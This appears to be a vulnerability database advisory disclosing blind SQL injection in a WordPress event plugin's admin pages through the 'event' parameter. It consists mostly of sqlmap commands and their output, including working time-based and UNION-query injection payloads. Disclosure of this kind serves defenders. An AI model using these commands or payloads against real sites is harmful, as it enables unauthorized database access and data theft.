The VapidLabs Vulnerability Database

SQL Injection

Summary: The edit.php form and attendees.php code do not sanitize input, this allows for blind SQL injection via the event parameter.

Notified: 2017-05-22

Description:

Use this plugin if you want to use your blog an event management tool.

Exploit:

$ sqlmap -u 'http://example.com/wordpress/wp-admin/edit.php?page=eventr%2Fattendees.php&event=*' --dbms mysql  --level 3 --risk 3 --load-cookies=./cookies.txt

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 1250 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: http://example.com:80/wordpress/wp-admin/edit.php?page=eventr/attendees.php&event=(SELECT * FROM (SELECT(SLEEP(5)))qppS)

    Type: UNION query
    Title: Generic UNION query (random number) - 6 columns
    Payload: http://example.com:80/wordpress/wp-admin/edit.php?page=eventr/attendees.php&event=-2450 UNION ALL SELECT CONCAT(0x716a7a6a71,0x566d4a744c4353656f664d75435376426a736e4d7056476e4d536a465169736e654b4252777a7161,0x716a766271),9012,9012,9012,9012,9012-- pgAi
---
[20:38:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[20:38:00] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'

[*] shutting down at 20:38:00

$ sqlmap -u 'http://example.com/wordpress/wp-admin/edit.php?page=eventr%2Fevent_form.php&event=*&action=edit' --dbms mysql  --level 3 --risk 3 --load-cookies=./cookies.txt

sqlmap identified the following injection point(s) with a total of 1476 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: http://example.com:80/wordpress/wp-admin/edit.php?page=eventr/event_form.php&event=(CASE WHEN (9111=9111) THEN SLEEP(5) ELSE 9111 END)&action=edit
---
[06:58:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[06:58:46] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'

[*] shutting down at 06:58:46